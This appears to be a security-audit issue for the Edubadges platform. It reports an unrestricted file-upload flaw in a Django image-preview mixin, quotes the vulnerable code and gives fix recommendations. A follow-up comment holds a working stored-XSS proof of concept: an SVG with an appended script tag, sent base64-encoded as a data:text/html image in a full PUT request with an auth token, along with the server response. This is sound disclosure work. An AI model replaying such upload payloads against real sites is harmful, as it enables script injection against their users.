edubadges / audit

Code audit repo for Edubadges
0 stars 0 forks source link

Upload files with arbitrary extensions to publicly accessible URL #27

Open sveeke opened 6 years ago

sveeke commented 6 years ago

The AbstractRemoteImagePreviewMixin allows an attacker to upload files with arbitrary extension to the webserver, which can be used as building-blocks for more complex attacks, also this can be abused to upload image decompression bombs which could be used to DoS client browsers.

Excerpt from apps/mainsite/models.py:

class AbstractRemoteImagePreviewMixin(models.Model):
...
    @property
    def image_preview(self):
        remote_url = self.json.get('image', None)
        if remote_url and self.image_preview_status is None and not self.image:
            # attempt to cache a local copy if we haven't tried before
            if remote_url is not None:
                store = DefaultStorage()
                r = requests.get(remote_url, stream=True)
                self.image_preview_status = r.status_code  # save the status code of our attempt
                if r.status_code == 200:
                    name, ext = os.path.splitext(urlparse.urlparse(r.url).path)
                    storage_name = '{upload_to}/cached/{filename}{ext}'.format(
                        upload_to=self.image.field.upload_to,
                        filename=md5(remote_url).hexdigest(),
                        ext=ext)
                    if not store.exists(storage_name):
                        r.raw.decode_content = True
                        store.save(storage_name, r.raw)
                        self.image = storage_name
                self.save()
        return self.image

This mixin is used by LocalIssuer and LocalBadgeClass in apps/composition/models.py.

IssuerSerializer and also BadgeClassSerializer fails to validate images and possibly allows to upload arbitrary files with arbitrary extensions:

    def validate_image(self, image):
        # TODO: Make sure it's a PNG (square if possible), and remove any baked-in badge assertion that exists.

Recommendation:

  1. cache images immediately, otherwise they can be changed later,
  2. validate that the images are really imagesm
  3. protect against imagebombs and polyglot files if possible,
  4. make sure the extension matches the image type.
sveeke commented 6 years ago

SVG (before encoded to base64) with XSS:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 112 90">
  <path d="M68,87h-13l20-56h14l20,56h-13l-4-12h-20l-4,12zM75,65h14l-7-22l-7,22z
" fill="#2a376e"/>
  <path d="M15,87h-13l20-56h14l19,56h-12l-4-12h-21l-3,12zM22,65h14l-7-22l-7,22z" fill="#bf2426"/>
  <path d="M705,169c5,18,5,27-2,48l-58,172l-62-175c0,0,7-19,11-30c3,0,9,7,9,7c0,0-7-20-4-24l9-24l10,6c-2-6-5-19-5-19l9-28l10,5c0,0-7-19-5-22l24-63c20,47,36,98,54,147zM659,485c1,5,0,11-5,19c1,10,1,13-2,17c-3,3-6,4-10,4c1-3,1-7,0-8c-13-17-42-50-42-50h-15l-14,36l6,10c0,0,13,0,19,0c1,0,2,1,3,3v6c-1-1-3-2-4-3c-14,0-24,0-37,1l-4,2c-2-5,2-9,5-9c3,0,6,0,5-2c-1-3-2-4-5-7h-16c-16-46-33-92-47-139c6,0,14-3,14-3c0,0-16-6-20-15c-3-9-14-40-14-40c0,0,9-1,13-3c-5-4-18-8-20-14c-7-18-11-35-11-35c0,0,16-1,14-2c-9-4-21-16-21-16c0,0-11-31-11-31c1-1,16,0,16,0c-4-8-16-12-13-23c4-13,9-26,12-34l9,5c-1-5-4-23-4-23l12-35l9,7l-3-24l20-51l52,147l109,310zM475,476l-5-8l-6,8h-22l48-74l27,74h-14l-5-8l-5,8h-18z" fill="#2a376e" transform="scale(0.1)"/>
</svg><script>alert('blaat');</script>

Request:

PUT /v1/issuer/issuers/O8TqxqA7Q5O2Pu-l4hVsjQ HTTP/1.1
Host: badgr-dev2.edubadges.nl
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Token 5a29a471f3b21be11928361f5c42aeabf0c5cd8f
Content-Type: application/json
Referer: https://surf-dev2.edubadges.nl/issuer/issuers/O8TqxqA7Q5O2Pu-l4hVsjQ/edit
Content-Length: 1518
Origin: https://surf-dev2.edubadges.nl
Connection: close

{"name":"ghgh","description":"ghgh","email":"stefanpentest+administrator@gmail.com","url":"https://www.edubadges.nl","image":"data:text/html;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMTIgOTAiPgogIDxwYXRoIGQ9Ik02OCw4N2gtMTNsMjAtNTZoMTRsMjAsNTZoLTEzbC00LTEyaC0yMGwtNCwxMnpNNzUsNjVoMTRsLTctMjJsLTcsMjJ6CiIgZmlsbD0iIzJhMzc2ZSIvPgogIDxwYXRoIGQ9Ik0xNSw4N2gtMTNsMjAtNTZoMTRsMTksNTZoLTEybC00LTEyaC0yMWwtMywxMnpNMjIsNjVoMTRsLTctMjJsLTcsMjJ6IiBmaWxsPSIjYmYyNDI2Ii8+CiAgPHBhdGggZD0iTTcwNSwxNjljNSwxOCw1LDI3LTIsNDhsLTU4LDE3MmwtNjItMTc1YzAsMCw3LTE5LDExLTMwYzMsMCw5LDcsOSw3YzAsMC03LTIwLTQtMjRsOS0yNGwxMCw2Yy0yLTYtNS0xOS01LTE5bDktMjhsMTAsNWMwLDAtNy0xOS01LTIybDI0LTYzYzIwLDQ3LDM2LDk4LDU0LDE0N3pNNjU5LDQ4NWMxLDUsMCwxMS01LDE5YzEsMTAsMSwxMy0yLDE3Yy0zLDMtNiw0LTEwLDRjMS0zLDEtNywwLThjLTEzLTE3LTQyLTUwLTQyLTUwaC0xNWwtMTQsMzZsNiwxMGMwLDAsMTMsMCwxOSwwYzEsMCwyLDEsMywzdjZjLTEtMS0zLTItNC0zYy0xNCwwLTI0LDAtMzcsMWwtNCwyYy0yLTUsMi05LDUtOWMzLDAsNiwwLDUtMmMtMS0zLTItNC01LTdoLTE2Yy0xNi00Ni0zMy05Mi00Ny0xMzljNiwwLDE0LTMsMTQtM2MwLDAtMTYtNi0yMC0xNWMtMy05LTE0LTQwLTE0LTQwYzAsMCw5LTEsMTMtM2MtNS00LTE4LTgtMjAtMTRjLTctMTgtMTEtMzUtMTEtMzVjMCwwLDE2LTEsMTQtMmMtOS00LTIxLTE2LTIxLTE2YzAsMC0xMS0zMS0xMS0zMWMxLTEsMTYsMCwxNiwwYy00LTgtMTYtMTItMTMtMjNjNC0xMyw5LTI2LDEyLTM0bDksNWMtMS01LTQtMjMtNC0yM2wxMi0zNWw5LDdsLTMtMjRsMjAtNTFsNTIsMTQ3bDEwOSwzMTB6TTQ3NSw0NzZsLTUtOGwtNiw4aC0yMmw0OC03NGwyNyw3NGgtMTRsLTUtOGwtNSw4aC0xOHoiIGZpbGw9IiMyYTM3NmUiIHRyYW5zZm9ybT0ic2NhbGUoMC4xKSIvPgo8L3N2Zz48c2NyaXB0PmFsZXJ0KCdibGFhdCcpOzwvc2NyaXB0Pg=="}

Response:

HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Wed, 13 Jun 2018 11:24:16 GMT
Content-Type: application/json
Connection: close
Vary: Accept, Authorization, Cookie
X-Frame-Options: ALLOW-FROM HTTP://CANVAS.EDUBADGES.NL/, HTTPS://CANVAS.EDUBADGES.NL
Access-Control-Allow-Origin: *
Allow: GET, PUT, DELETE, HEAD, OPTIONS
Content-Length: 938

{"created_at":"2018-06-11T11:17:09.041418Z","created_by":"stefanpentest+blaat6767@gmail.com","name":"ghgh","slug":"O8TqxqA7Q5O2Pu-l4hVsjQ","image":"http://badgr-dev2.edubadges.nl/media/uploads/issuers/issuer_logo_4d6b09fc-e505-4269-aef1-796a991346cc.html","email":"stefanpentest+administrator@gmail.com","description":"ghgh","url":"https://www.edubadges.nl","staff":[{"user":{"first_name":"gg","last_name":"Pentest","email":"stefanpentest+blaat6767@gmail.com","slug":"EQmfGQciRuKCC_LzIamehw"},"role":"owner"}],"json":{"@context":"https://w3id.org/openbadges/v1","description":"ghgh","url":"https://www.edubadges.nl","email":"stefanpentest+administrator@gmail.com","type":"Issuer","id":"https://badgr-dev2.edubadges.nl/public/issuers/O8TqxqA7Q5O2Pu-l4hVsjQ","name":"ghgh","image":"https://badgr-dev2.edubadges.nl/public/issuers/O8TqxqA7Q5O2Pu-l4hVsjQ/image"},"badgeClassCount":1,"recipientGroupCount":0,"recipientCount":0,"pathwayCount":0}

Result: https://badgr-dev2.edubadges.nl/media/uploads/issuers/issuer_logo_4d6b09fc-e505-4269-aef1-796a991346cc.html